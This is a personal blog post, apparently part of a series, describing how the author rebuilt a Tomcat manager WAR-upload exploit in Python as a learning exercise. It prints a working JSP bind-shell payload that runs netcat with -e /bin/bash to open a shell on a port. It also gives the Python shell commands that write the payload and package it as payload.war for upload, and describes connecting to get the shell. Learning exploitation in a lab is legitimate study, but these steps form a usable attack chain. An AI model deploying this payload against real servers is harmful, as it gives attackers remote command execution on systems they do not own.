Well it turns out that building that shell payload was the easiest part of the whole processes. Mainly because I have messed around with shells and netcat a little already, but more on that in a second.

As always here is the tool if you wish to follow along It’s a remake of the upload tool from the last post

The goal today was to create a payload that when sent to the server would open a port and push a shell to whomever connects to it using netcat. In order to do this we have to understand first what is happening when we upload our file to Tomcat.

Uploading the payload

When we upload our war file to Tomcat, it unzips it and sticks it in a directory on the server. The files that were inside the war zip are now accessible. No big deal right? Well the problem here is that our Tomcat server has the ability to execute jsp files. More importantly though, jsp files are similar to other server side scripting languages in that they 1. execute on the server and 2. can run system commands. I think you see where I’m going here.

Crafting our payload

So I spent a little time today learning how to craft a jsp file and how to make system commands within it. It’s actually pretty easy.

Similar to how php exists inside of <?php ?> tags, jsp has a syntax of it’s own that its code runs inside. The jsp tags look like this <% %> . This tells the server to run the code inside those brackets on the server and return the results.

Easy enough, next we need to figure out how to run system commands. Well a quick google search later shows that all you need is Runtime.getRuntime().exec("your command");

Wow getting easier by the second. Finally we need our command to inject. For me I wanted to create a open port that gives me a bash shell when I connect to it. This is called binding to a port. If I were to call back to my attacker machine it would be called a reverse shell.

The command I chose to go with is nc -l -p TargetPort -e /bin/bash which actually looks like this nc -l -p 12345 -e /bin/bash . This tells the target machine to execute ncat. It tells ncat to open the target port and to execute /bin/bash on it when someone connects. This effectively gives anyone that connects to that port a shell into the system.

When the jsp payload is complete it looks like this

<% Runtime.getRuntime().exec("nc -l -p 1234 -e /bin/bash");%>

Packaging it up

Before we can send our payload to the server we first need to zip it into a war file. I didn’t want to generate a war file by hand so I just told python to execute some shell commands for me.

The first thing I did was echo our payload into a file called tomcat_payload.jsp in the root directory.

os.system("echo '" + stockPayload + "' > /root/tomcat_payload.jsp")

Next I ran a jar command telling it to create a new archive with the file tomcat_payload.jsp and call it payload.war

os.system("jar -c /root/tomcat_payload.jsp > /root/payload.war")

Finally to leverage the code I built already for uploading I just set the payloadLocation equal to my new war file.

payloadLocation = '/root/payload.war'

Getting the shell

After that all we have to do is upload the file and navigate to the link in order to run the code. Finally I can open a netcat command to that port and I get a shell 😀


Summary

Wow! What an experience! To recap the last few days, I got sick of single click, hand wave magic, that metasploit brings. So I decided to pick an exploit and reproduce it start to finish in python. As ambitious as this sounds I actually managed to do it! I first built the brute force tool that discovered credentials. Then I built an upload tool that would ship my payload off to the tomcat server. Finally I crafted a payload and managed to get a shell on the target machine. All from scratch!

I’m super proud of these last few days and I can’t wait to learn the next exploit.

Leave a Reply

14 + three =